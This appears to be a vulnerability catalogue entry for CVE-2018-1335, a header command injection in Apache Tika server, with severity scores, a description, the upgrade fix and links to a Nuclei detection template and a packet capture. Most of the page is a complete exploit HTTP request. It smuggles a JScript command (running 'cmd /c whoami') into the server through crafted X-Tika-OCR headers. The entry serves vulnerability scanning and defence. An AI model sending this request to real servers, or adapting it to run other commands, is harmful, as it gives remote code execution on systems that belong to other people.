| Title | Apache Tika < 1.1.8 - Header Command Injection |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected server. |
| Remediation | Upgrade to Tika 1.18. |
| CVSS Score | 8.1 |
| EPSS Score | 0.93516 |
| CVE ID | CVE-2018-1335 |
| Tags | cve cve2018 packetstorm edb apache tika rce intrusive vkev vuln |
Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
PUT /meta HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Content-Length: 92
Accept: */*
Accept-Language: en
Connection: close
Content-type: image/jp2
Expect: 100-continue
X-Tika-OCRLanguage: //E:Jscript
X-Tika-OCRTesseractPath: cscript
Accept-Encoding: gzip
var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec("cmd /c whoami");
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1335.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-1335.pcap
N/AN/A